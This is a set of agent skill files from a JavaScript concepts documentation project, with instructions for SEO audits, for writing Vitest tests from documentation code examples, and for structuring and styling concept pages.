- [ ] 3-5 internal links with descriptive anchor text
- [ ] Prerequisites in Warning box (if applicable)
- [ ] Related Concepts section has 4 cards
- [ ] Single H1 per page (title only)
- [ ] URL slug contains primary keyword
- [ ] Page linked from at least one other concept page
- [ ] All fixes implemented and verified
---
## Final Recommendation
**Ready to Publish:** ✅ Yes / ❌ No - [reason]
**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"]
```
---
## Quick Reference
### Character Counts
| Element | Ideal Length |
|---------|--------------|
| Title | 50-60 characters |
| Meta Description | 150-160 characters |
| Definition paragraph | 40-60 words |
### Keyword Density
- Don't exceed 3-4 mentions of exact phrase per 1,000 words
- Use variations naturally (e.g., "closures", "closure", "JavaScript closures")
### Content Length
| Length | Assessment |
|--------|------------|
| <1,000 words | Too thin - add depth |
| 1,000-1,500 | Minimum viable |
| 1,500-2,500 | Good |
| 2,500-4,000 | Excellent |
| >4,000 | Consider splitting |
---
## Summary
When auditing a concept page for SEO:
1. **Identify target keywords** using the keyword cluster for that concept
2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript"
3. **Check meta description** — 150-160 chars, action word, keyword, specific value
4. **Verify keyword placement** — Title, description, first 100 words, H2
5. **Audit content structure** — Question hook, early code, Info box, short paragraphs
6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables
7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section
8. **Generate report** — Document score, issues, and prioritized fixes
**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.
================================================
FILE: .opencode/skill/test-writer/SKILL.md
================================================
---
name: test-writer
description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines
---
# Skill: Test Writer for Concept Pages
Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.
## When to Use
- After writing a new concept page
- When adding new code examples to existing pages
- When updating existing code examples
- To verify documentation accuracy through automated tests
- Before publishing to ensure all examples work correctly
## Test Writing Methodology
Follow these four phases to create comprehensive tests for a concept page.
### Phase 1: Code Example Extraction
Scan the concept page for all code examples and categorize them:
| Category | Characteristics | Action |
|----------|-----------------|--------|
| **Testable** | Has `console.log` with output comments, returns values | Write tests |
| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |
| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |
| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |
| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |
### Phase 2: Determine Test File Structure
```
tests/
├── fundamentals/ # Concepts 1-6
├── functions-execution/ # Concepts 7-8
├── web-platform/ # Concepts 9-10
├── object-oriented/ # Concepts 11-15
├── functional-programming/ # Concepts 16-19
├── async-javascript/ # Concepts 20-22
├── advanced-topics/ # Concepts 23-31
└── beyond/ # Extended concepts
└── {subcategory}/
```
**File naming:**
- Standard tests: `{concept-name}.test.js`
- DOM tests: `{concept-name}.dom.test.js`
### Phase 3: Convert Examples to Tests
For each testable code example:
1. Identify the expected output (from `console.log` comments or documented behavior)
2. Convert to `expect` assertions
3. Add source line reference in comments
4. Group related tests in `describe` blocks matching documentation sections
### Phase 4: Handle Special Cases
| Case | Solution |
|------|----------|
| Browser-only APIs | Use jsdom environment or skip with note |
| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |
| Side effects | Capture output or test mutations |
| Intentional errors | Use `expect(() => {...}).toThrow()` |
| Async code | Use `async/await` with proper assertions |
---
## Project Test Conventions
### Import Pattern
```javascript
import { describe, it, expect } from 'vitest'
```
For DOM tests or tests needing mocks:
```javascript
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
```
### DOM Test File Header
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
```
### Describe Block Organization
Match the structure of the documentation:
```javascript
describe('Concept Name', () => {
describe('Section from Documentation', () => {
describe('Subsection if needed', () => {
it('should [specific behavior]', () => {
// Test
})
})
})
})
```
### Test Naming Convention
- Start with "should"
- Be descriptive and specific
- Match the documented behavior
```javascript
// Good
it('should return "object" for typeof null', () => {})
it('should throw TypeError when accessing property of undefined', () => {})
it('should resolve promises in order they were created', () => {})
// Bad
it('test typeof', () => {})
it('works correctly', () => {})
it('null test', () => {})
```
### Source Line References
Always reference the documentation source:
```javascript
// ============================================================
// SECTION NAME FROM DOCUMENTATION
// From {concept}.mdx lines XX-YY
// ============================================================
describe('Section Name', () => {
// From lines 45-52: Basic typeof examples
it('should return correct type strings', () => {
// Test
})
})
```
---
## Test Patterns Reference
### Pattern 1: Basic Value Assertion
**Documentation:**
```javascript
console.log(typeof "hello") // "string"
console.log(typeof 42) // "number"
```
**Test:**
```javascript
// From lines XX-YY: typeof examples
it('should return correct type for primitives', () => {
expect(typeof "hello").toBe("string")
expect(typeof 42).toBe("number")
})
```
---
### Pattern 2: Multiple Related Assertions
**Documentation:**
```javascript
let a = "hello"
let b = "hello"
console.log(a === b) // true
let obj1 = { x: 1 }
let obj2 = { x: 1 }
console.log(obj1 === obj2) // false
```
**Test:**
```javascript
// From lines XX-YY: Primitive vs object comparison
it('should compare primitives by value', () => {
let a = "hello"
let b = "hello"
expect(a === b).toBe(true)
})
it('should compare objects by reference', () => {
let obj1 = { x: 1 }
let obj2 = { x: 1 }
expect(obj1 === obj2).toBe(false)
})
```
---
### Pattern 3: Function Return Values
**Documentation:**
```javascript
function greet(name) {
return "Hello, " + name + "!"
}
console.log(greet("Alice")) // "Hello, Alice!"
```
**Test:**
```javascript
// From lines XX-YY: greet function example
it('should return greeting with name', () => {
function greet(name) {
return "Hello, " + name + "!"
}
expect(greet("Alice")).toBe("Hello, Alice!")
})
```
---
### Pattern 4: Error Testing
**Documentation:**
```javascript
// This throws an error!
const obj = null
console.log(obj.property) // TypeError: Cannot read property of null
```
**Test:**
```javascript
// From lines XX-YY: Accessing property of null
it('should throw TypeError when accessing property of null', () => {
const obj = null
expect(() => {
obj.property
}).toThrow(TypeError)
})
```
---
### Pattern 5: Specific Error Messages
**Documentation:**
```javascript
function divide(a, b) {
if (b === 0) throw new Error("Cannot divide by zero")
return a / b
}
```
**Test:**
```javascript
// From lines XX-YY: divide function with error
it('should throw error when dividing by zero', () => {
function divide(a, b) {
if (b === 0) throw new Error("Cannot divide by zero")
return a / b
}
expect(() => divide(10, 0)).toThrow("Cannot divide by zero")
expect(divide(10, 2)).toBe(5)
})
```
---
### Pattern 6: Async/Await Testing
**Documentation:**
```javascript
async function fetchUser(id) {
const response = await fetch(`/api/users/${id}`)
return response.json()
}
```
**Test:**
```javascript
// From lines XX-YY: async fetchUser function
it('should fetch user data asynchronously', async () => {
// Mock fetch for testing
global.fetch = vi.fn(() =>
Promise.resolve({
json: () => Promise.resolve({ id: 1, name: 'Alice' })
})
)
async function fetchUser(id) {
const response = await fetch(`/api/users/${id}`)
return response.json()
}
const user = await fetchUser(1)
expect(user).toEqual({ id: 1, name: 'Alice' })
})
```
---
### Pattern 7: Promise Testing
**Documentation:**
```javascript
const promise = new Promise((resolve) => {
resolve("done")
})
promise.then(result => console.log(result)) // "done"
```
**Test:**
```javascript
// From lines XX-YY: Basic Promise resolution
it('should resolve with correct value', async () => {
const promise = new Promise((resolve) => {
resolve("done")
})
await expect(promise).resolves.toBe("done")
})
```
---
### Pattern 8: Promise Rejection
**Documentation:**
```javascript
const promise = new Promise((resolve, reject) => {
reject(new Error("Something went wrong"))
})
```
**Test:**
```javascript
// From lines XX-YY: Promise rejection
it('should reject with error', async () => {
const promise = new Promise((resolve, reject) => {
reject(new Error("Something went wrong"))
})
await expect(promise).rejects.toThrow("Something went wrong")
})
```
---
### Pattern 9: Floating Point Comparison
**Documentation:**
```javascript
console.log(0.1 + 0.2) // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3) // false
```
**Test:**
```javascript
// From lines XX-YY: Floating point precision
it('should demonstrate floating point imprecision', () => {
expect(0.1 + 0.2).not.toBe(0.3)
expect(0.1 + 0.2).toBeCloseTo(0.3)
expect(0.1 + 0.2 === 0.3).toBe(false)
})
```
---
### Pattern 10: Array Method Testing
**Documentation:**
```javascript
const numbers = [1, 2, 3, 4, 5]
const doubled = numbers.map(n => n * 2)
console.log(doubled) // [2, 4, 6, 8, 10]
```
**Test:**
```javascript
// From lines XX-YY: Array map example
it('should double all numbers in array', () => {
const numbers = [1, 2, 3, 4, 5]
const doubled = numbers.map(n => n * 2)
expect(doubled).toEqual([2, 4, 6, 8, 10])
expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged
})
```
---
### Pattern 11: Object Mutation Testing
**Documentation:**
```javascript
const obj = { a: 1 }
obj.b = 2
console.log(obj) // { a: 1, b: 2 }
```
**Test:**
```javascript
// From lines XX-YY: Object mutation
it('should allow adding properties to objects', () => {
const obj = { a: 1 }
obj.b = 2
expect(obj).toEqual({ a: 1, b: 2 })
})
```
---
### Pattern 12: Closure Testing
**Documentation:**
```javascript
function counter() {
let count = 0
return function() {
count++
return count
}
}
const increment = counter()
console.log(increment()) // 1
console.log(increment()) // 2
console.log(increment()) // 3
```
**Test:**
```javascript
// From lines XX-YY: Closure counter example
it('should maintain state across calls via closure', () => {
function counter() {
let count = 0
return function() {
count++
return count
}
}
const increment = counter()
expect(increment()).toBe(1)
expect(increment()).toBe(2)
expect(increment()).toBe(3)
})
it('should create independent counters', () => {
function counter() {
let count = 0
return function() {
count++
return count
}
}
const counter1 = counter()
const counter2 = counter()
expect(counter1()).toBe(1)
expect(counter1()).toBe(2)
expect(counter2()).toBe(1) // Independent
})
```
---
### Pattern 13: DOM Event Testing
**Documentation:**
```javascript
const button = document.getElementById('myButton')
button.addEventListener('click', function(event) {
console.log('Button clicked!')
console.log(event.type) // "click"
})
```
**Test (in .dom.test.js file):**
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest'
describe('DOM Event Handlers', () => {
let button
beforeEach(() => {
button = document.createElement('button')
button.id = 'myButton'
document.body.appendChild(button)
})
afterEach(() => {
document.body.innerHTML = ''
})
// From lines XX-YY: Button click event
it('should fire click event handler', () => {
const output = []
button.addEventListener('click', function(event) {
output.push('Button clicked!')
output.push(event.type)
})
button.click()
expect(output).toEqual(['Button clicked!', 'click'])
})
})
```
---
### Pattern 14: DOM Manipulation Testing
**Documentation:**
```javascript
const div = document.createElement('div')
div.textContent = 'Hello'
div.classList.add('greeting')
document.body.appendChild(div)
```
**Test:**
```javascript
// From lines XX-YY: Creating and appending elements
it('should create element with text and class', () => {
const div = document.createElement('div')
div.textContent = 'Hello'
div.classList.add('greeting')
document.body.appendChild(div)
const element = document.querySelector('.greeting')
expect(element).not.toBeNull()
expect(element.textContent).toBe('Hello')
expect(element.classList.contains('greeting')).toBe(true)
})
```
---
### Pattern 15: Timer Testing
**Documentation:**
```javascript
console.log('First')
setTimeout(() => console.log('Second'), 0)
console.log('Third')
// Output: First, Third, Second
```
**Test:**
```javascript
// From lines XX-YY: setTimeout execution order
it('should execute setTimeout callback after synchronous code', async () => {
const output = []
output.push('First')
setTimeout(() => output.push('Second'), 0)
output.push('Third')
// Wait for setTimeout to execute
await new Promise(resolve => setTimeout(resolve, 10))
expect(output).toEqual(['First', 'Third', 'Second'])
})
```
---
### Pattern 16: Strict Mode Behavior
**Documentation:**
```javascript
// In strict mode, this throws
"use strict"
x = 10 // ReferenceError: x is not defined
```
**Test:**
```javascript
// From lines XX-YY: Strict mode variable declaration
it('should throw ReferenceError in strict mode for undeclared variables', () => {
// Vitest runs in strict mode by default
expect(() => {
// Using eval to test strict mode behavior
"use strict"
eval('undeclaredVar = 10')
}).toThrow()
})
```
---
## Complete Test File Template
```javascript
import { describe, it, expect } from 'vitest'
describe('[Concept Name]', () => {
// ============================================================
// [FIRST SECTION NAME FROM DOCUMENTATION]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[First Section]', () => {
// From lines XX-YY: [Brief description of example]
it('should [expected behavior]', () => {
// Code from documentation
expect(result).toBe(expected)
})
// From lines XX-YY: [Brief description of next example]
it('should [another expected behavior]', () => {
// Code from documentation
expect(result).toEqual(expected)
})
})
// ============================================================
// [SECOND SECTION NAME FROM DOCUMENTATION]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[Second Section]', () => {
// From lines XX-YY: [Description]
it('should [behavior]', () => {
// Test
})
})
// ============================================================
// EDGE CASES AND COMMON MISTAKES
// From [concept].mdx lines XX-YY
// ============================================================
describe('Edge Cases', () => {
// From lines XX-YY: [Edge case description]
it('should handle [edge case]', () => {
// Test
})
})
describe('Common Mistakes', () => {
// From lines XX-YY: Wrong way example
it('should demonstrate the incorrect behavior', () => {
// Test showing why the "wrong" way fails
})
// From lines XX-YY: Correct way example
it('should demonstrate the correct behavior', () => {
// Test showing the right approach
})
})
})
```
---
## Complete DOM Test File Template
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
// ============================================================
// DOM EXAMPLES FROM [CONCEPT NAME]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[Concept Name] - DOM', () => {
// Shared setup
let container
beforeEach(() => {
// Create a fresh container for each test
container = document.createElement('div')
container.id = 'test-container'
document.body.appendChild(container)
})
afterEach(() => {
// Clean up after each test
document.body.innerHTML = ''
vi.restoreAllMocks()
})
// ============================================================
// [SECTION NAME]
// From lines XX-YY
// ============================================================
describe('[Section Name]', () => {
// From lines XX-YY: [Example description]
it('should [expected DOM behavior]', () => {
// Setup
const element = document.createElement('div')
container.appendChild(element)
// Action
element.textContent = 'Hello'
// Assert
expect(element.textContent).toBe('Hello')
})
})
// ============================================================
// EVENT HANDLING
// From lines XX-YY
// ============================================================
describe('Event Handling', () => {
// From lines XX-YY: Click event example
it('should handle click events', () => {
const button = document.createElement('button')
container.appendChild(button)
let clicked = false
button.addEventListener('click', () => {
clicked = true
})
button.click()
expect(clicked).toBe(true)
})
})
})
```
---
## Running Tests
```bash
# Run all tests
npm test
# Run tests for specific concept
npm test -- tests/fundamentals/primitive-types/
# Run tests for specific file
npm test -- tests/fundamentals/primitive-types/primitive-types.test.js
# Run DOM tests only
npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js
# Run with watch mode
npm run test:watch
# Run with coverage
npm run test:coverage
# Run with verbose output
npm test -- --reporter=verbose
```
---
## Quality Checklist
### Completeness
- [ ] All testable code examples have corresponding tests
- [ ] Tests organized by documentation sections
- [ ] Source line references included in comments (From lines XX-YY)
- [ ] DOM tests in separate `.dom.test.js` file
- [ ] Edge cases and error examples tested
### Correctness
- [ ] Tests verify the actual documented behavior
- [ ] Output comments in docs match test expectations
- [ ] Async tests properly use async/await
- [ ] Error tests use correct `toThrow` pattern
- [ ] Floating point comparisons use `toBeCloseTo`
- [ ] Object comparisons use `toEqual` (not `toBe`)
### Convention
- [ ] Uses explicit imports from vitest
- [ ] Follows describe/it nesting pattern
- [ ] Test names start with "should"
- [ ] Proper file naming (`{concept}.test.js`)
- [ ] DOM tests have jsdom environment directive
### Verification
- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`
- [ ] No skipped tests without documented reason
- [ ] No false positives (tests that pass for wrong reasons)
---
## Test Report Template
Use this template to document test coverage for a concept page.
```markdown
# Test Coverage Report: [Concept Name]
**Concept Page:** `/docs/concepts/[slug].mdx`
**Test File:** `/tests/{category}/{concept}/{concept}.test.js`
**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)
**Date:** YYYY-MM-DD
**Author:** [Name/Claude]
## Summary
| Metric | Count |
|--------|-------|
| Total Code Examples in Doc | XX |
| Testable Examples | XX |
| Tests Written | XX |
| DOM Tests Written | XX |
| Skipped (with reason) | XX |
## Tests by Section
| Section | Line Range | Examples | Tests | Status |
|---------|------------|----------|-------|--------|
| [Section 1] | XX-YY | X | X | ✅ |
| [Section 2] | XX-YY | X | X | ✅ |
| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |
## Skipped Examples
| Line | Example Description | Reason |
|------|---------------------|--------|
| XX | ASCII diagram of call stack | Conceptual, not executable |
| YY | Browser fetch example | Requires network, mocked instead |
## Test Execution
```bash
npm test -- tests/{category}/{concept}/
```
**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped
## Notes
[Any special considerations, mock requirements, or issues encountered]
```
---
## Common Issues and Solutions
### Issue: Test passes but shouldn't
**Problem:** Test expectations don't match documentation output
**Solution:** Double-check the expected value matches the `console.log` comment exactly
```javascript
// Documentation says: console.log(result) // [1, 2, 3]
// Make sure test uses:
expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays
```
### Issue: Async test times out
**Problem:** Async test never resolves
**Solution:** Ensure all promises are awaited and async function is marked
```javascript
// Bad
it('should fetch data', () => {
const data = fetchData() // Missing await!
expect(data).toBeDefined()
})
// Good
it('should fetch data', async () => {
const data = await fetchData()
expect(data).toBeDefined()
})
```
### Issue: DOM test fails with "document is not defined"
**Problem:** Missing jsdom environment
**Solution:** Add environment directive at top of file
```javascript
/**
* @vitest-environment jsdom
*/
```
### Issue: Test isolation problems
**Problem:** Tests affect each other
**Solution:** Use beforeEach/afterEach for cleanup
```javascript
afterEach(() => {
document.body.innerHTML = ''
vi.restoreAllMocks()
})
```
---
## Summary
When writing tests for a concept page:
1. **Extract all code examples** from the documentation
2. **Categorize** as testable, DOM, error, or conceptual
3. **Create test file** in correct location with proper naming
4. **Convert each example** to test using appropriate pattern
5. **Reference source lines** in comments for traceability
6. **Run tests** to verify all pass
7. **Document coverage** using the report template
**Remember:** Tests serve two purposes:
1. Verify documentation is accurate
2. Catch regressions if code examples are updated
Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.
================================================
FILE: .opencode/skill/write-concept/SKILL.md
================================================
---
name: write-concept
description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines
---
# Skill: Write JavaScript Concept Documentation
Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.
## When to Use
- Creating a new concept page in `/docs/concepts/`
- Rewriting or significantly improving an existing concept page
- Reviewing an existing concept page for quality and completeness
- Adding explanatory content to a concept
## Target Audience
Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.
## Writing Guidelines
### Voice and Tone
- **Conversational but authoritative**: Write like you're explaining to a smart friend
- **Encouraging**: Make complex topics feel approachable
- **Practical**: Focus on real-world applications and use cases
- **Concise**: Respect the reader's time; avoid unnecessary verbosity
- **Question-driven**: Open sections with questions the reader might have
### Avoiding AI-Generated Language
Your writing must sound human, not AI-generated. Here are specific patterns to avoid:
#### Words and Phrases to Avoid
| ❌ Avoid | ✓ Use Instead |
|----------|---------------|
| "Master [concept]" | "Learn [concept]" |
| "dramatically easier/better" | "much easier" or "cleaner" |
| "one fundamental thing" | "one simple thing" |
| "one of the most important concepts" | "This is a big one" |
| "essential points" | "key things to remember" |
| "understanding X deeply improves" | "knowing X well makes Y easier" |
| "To truly understand" | "Let's look at" or "Here's how" |
| "This is crucial" | "This trips people up" |
| "It's worth noting that" | Just state the thing directly |
| "It's important to remember" | "Don't forget:" or "Remember:" |
| "In order to" | "To" |
| "Due to the fact that" | "Because" |
| "At the end of the day" | Remove entirely |
| "When it comes to" | Remove or rephrase |
| "In this section, we will" | Just start explaining |
| "As mentioned earlier" | Remove or link to the section |
#### Repetitive Emphasis Patterns
Don't use the same lead-in pattern repeatedly. Vary your emphasis:
| Instead of repeating... | Vary with... |
|------------------------|--------------|
| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" |
| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" |
| "Important:" | "Watch out:", "Heads up:", "Note:" |
| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" |
#### Em Dash (—) Overuse
AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:
| ❌ Em Dash Overuse | ✓ Better Alternative |
|-------------------|---------------------|
| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." |
| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." |
| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." |
| "outside of async functions — but only in..." | "outside of async functions, but only in..." |
| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." |
| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." |
**When em dashes ARE acceptable:**
- In Key Takeaways section (consistent formatting for the numbered list)
- In MDN card titles (e.g., "async function — MDN")
- In interview answer step-by-step explanations (structured formatting)
- Sparingly when a true parenthetical aside reads naturally
**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one.
#### Superlatives and Filler Words
Avoid vague superlatives that add no information:
| ❌ Avoid | ✓ Use Instead |
|----------|---------------|
| "dramatically" | "much" or remove entirely |
| "fundamentally" | "simply" or be specific about what's fundamental |
| "incredibly" | remove or be specific |
| "extremely" | remove or be specific |
| "absolutely" | remove |
| "basically" | remove (if you need it, you're not explaining clearly) |
| "essentially" | remove or just explain directly |
| "very" | remove or use a stronger word |
| "really" | remove |
| "actually" | remove (unless correcting a misconception) |
| "In fact" | remove (just state the fact) |
| "Interestingly" | remove (let the reader decide if it's interesting) |
#### Stiff/Formal Phrases
Replace formal academic-style phrases with conversational alternatives:
| ❌ Stiff | ✓ Conversational |
|---------|------------------|
| "It should be noted that" | "Note that" or just state it |
| "One might wonder" | "You might wonder" |
| "This enables developers to" | "This lets you" |
| "The aforementioned" | "this" or name it again |
| "Subsequently" | "Then" or "Next" |
| "Utilize" | "Use" |
| "Commence" | "Start" |
| "Prior to" | "Before" |
| "In the event that" | "If" |
| "A considerable amount of" | "A lot of" or "Many" |
#### Playful Touches (Use Sparingly)
Add occasional human touches to make the content feel less robotic, but don't overdo it:
```javascript
// ✓ Good: One playful comment per section
// Callback hell - nested so deep you need a flashlight
// ✓ Good: Conversational aside
// forEach and async don't play well together — it just fires and forgets:
// ✓ Good: Relatable frustration
// Finally, error handling that doesn't make you want to flip a table.
// ❌ Bad: Trying too hard
// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝
// ❌ Bad: Forced humor
// Let's dive into the AMAZING world of Promises! 🎉🚀
```
**Guidelines:**
- One or two playful touches per major section is enough
- Humor should arise naturally from the content
- Avoid emojis in body text (they're fine in comments occasionally)
- Don't explain your jokes
- If a playful line doesn't work, just be direct instead
### Page Structure (Follow This Exactly)
Every concept page MUST follow this structure in this exact order:
```mdx
---
title: "Concept Name: [Hook] in JavaScript"
sidebarTitle: "Concept Name: [Hook]"
description: "SEO-friendly description in 150-160 characters starting with action word"
---
[Opening hook - Start with engaging questions that make the reader curious]
[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"]
[Immediately show a simple code example demonstrating the concept]
```javascript
// This is how you [do the thing] in JavaScript
const example = doSomething()
console.log(example) // Expected output
```
[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]
**What you'll learn in this guide:**
- Key learning outcome 1
- Key learning outcome 2
- Key learning outcome 3
- Key learning outcome 4 (aim for 5-7 items)
[Optional: Prerequisites or important notices - place AFTER Info box]
**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!
---
## [First Major Section - e.g., "What is X?"]
[Core explanation with inline MDN links for any new terms/APIs introduced]
[Optional: CardGroup with MDN reference links for this section]
---
## [Analogy Section - e.g., "The Restaurant Analogy"]
[Relatable real-world analogy that makes the concept click]
[ASCII art diagram visualizing the concept]
```
┌─────────────────────────────────────────────────────────────────────────┐
│ DIAGRAM TITLE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ [Visual representation of the concept] │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
## [Core Concepts Section]
[Deep dive with code examples, tables, and Mintlify components]
Explanation of the first step
Explanation of the second step
Detailed explanation with code examples
Detailed explanation with code examples
**Quick Rule of Thumb:** [Memorable summary or mnemonic]
---
## [The API/Implementation Section]
[How to actually use the concept in code]
### Basic Usage
```javascript
// Basic example with step-by-step comments
// Step 1: Do this
const step1 = something()
// Step 2: Then this
const step2 = somethingElse(step1)
// Step 3: Finally
console.log(step2) // Expected output
```
### [Advanced Pattern]
```javascript
// More complex real-world example
```
---
## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"]
[Highlight the most common mistake developers make]
```
┌─────────────────────────────────────────────────────────────────────────┐
│ VISUAL COMPARISON │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ WRONG WAY RIGHT WAY │
│ ───────── ───────── │
│ • Problem 1 • Solution 1 │
│ • Problem 2 • Solution 2 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
```javascript
// ❌ WRONG - Explanation of why this is wrong
const bad = wrongApproach()
// ✓ CORRECT - Explanation of the right way
const good = correctApproach()
```
**The Trap:** [Clear explanation of what goes wrong and why]
---
## [Advanced Patterns Section]
[Real-world patterns and best practices]
### Pattern Name
```javascript
// Reusable pattern with practical application
async function realWorldExample() {
// Implementation
}
// Usage
const result = await realWorldExample()
```
---
## Key Takeaways
**The key things to remember:**
1. **First key point** — Brief explanation
2. **Second key point** — Brief explanation
3. **Third key point** — Brief explanation
4. **Fourth key point** — Brief explanation
5. **Fifth key point** — Brief explanation
[Aim for 8-10 key takeaways that summarize everything]
---
## Test Your Knowledge
**Answer:**
[Clear explanation]
```javascript
// Code example demonstrating the answer
```
**Answer:**
[Clear explanation with code if needed]
[Aim for 5-6 questions covering the main topics]
---
## Related Concepts
How it connects to this concept
How it connects to this concept
---
## Reference
Official MDN documentation for the main concept
Additional MDN reference
## Articles
Brief description of what the reader will learn from this article.
[Aim for 4-6 high-quality articles]
## Videos
Brief description of what the video covers.
[Aim for 3-4 quality videos]
```
---
## SEO Guidelines
SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:
- "what is [concept] in JavaScript"
- "how does [concept] work in JavaScript"
- "[concept] JavaScript explained"
- "[concept] JavaScript tutorial"
- "JavaScript [concept] example"
Every writing decision — from title to structure to word choice — should consider search intent.
---
### Target Keywords for Each Concept
Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:
| Keyword Type | Pattern | Example (DOM) |
|--------------|---------|---------------|
| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" |
| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" |
| **How does** | how does [concept] work | "how does the DOM work in JavaScript" |
| **How to** | how to [action] with [concept] | "how to manipulate the DOM" |
| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" |
| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" |
**More Keyword Cluster Examples:**
| Type | Keywords |
|------|----------|
| Primary | "JavaScript closures", "closures in JavaScript" |
| What is | "what is a closure in JavaScript", "what are closures" |
| How does | "how do closures work in JavaScript", "how closures work" |
| Why use | "why use closures JavaScript", "closure use cases" |
| Example | "JavaScript closure example", "closure examples" |
| Interview | "closure interview questions JavaScript" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript Promises", "Promises in JavaScript" |
| What is | "what is a Promise in JavaScript", "what are Promises" |
| How does | "how do Promises work", "how Promises work JavaScript" |
| How to | "how to use Promises", "how to chain Promises" |
| Comparison | "Promises vs callbacks", "Promises vs async await" |
| Error | "Promise error handling", "Promise catch" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript event loop", "event loop JavaScript" |
| What is | "what is the event loop in JavaScript" |
| How does | "how does the event loop work", "how event loop works" |
| Visual | "event loop explained", "event loop visualization" |
| Related | "call stack and event loop", "task queue JavaScript" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript call stack", "call stack JavaScript" |
| What is | "what is the call stack in JavaScript" |
| How does | "how does the call stack work" |
| Error | "call stack overflow JavaScript", "maximum call stack size exceeded" |
| Visual | "call stack explained", "call stack visualization" |
---
### Title Tag Optimization
The frontmatter has **two title fields**:
- `title` — The page's `` tag (SEO, appears in search results)
- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site)
**The Two-Title Pattern:**
```mdx
---
title: "Closures: How Functions Remember Their Scope in JavaScript"
sidebarTitle: "Closures: How Functions Remember Their Scope"
---
```
- **`title`** ends with "in JavaScript" for SEO keyword placement
- **`sidebarTitle`** omits "JavaScript" for cleaner navigation
**Rules:**
1. **50-60 characters** ideal length for `title` (Google truncates longer titles)
2. **Concept name first** — lead with the topic, "JavaScript" comes at the end
3. **Add a hook** — what will the reader understand or be able to do?
4. **Be specific** — generic titles don't rank
**Title Formulas That Work:**
```
title: "[Concept]: [What You'll Understand] in JavaScript"
sidebarTitle: "[Concept]: [What You'll Understand]"
title: "[Concept]: [Benefit or Outcome] in JavaScript"
sidebarTitle: "[Concept]: [Benefit or Outcome]"
```
**Title Examples:**
| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |
|--------|---------------|----------------------------|
| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` |
| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` |
| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` |
| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` |
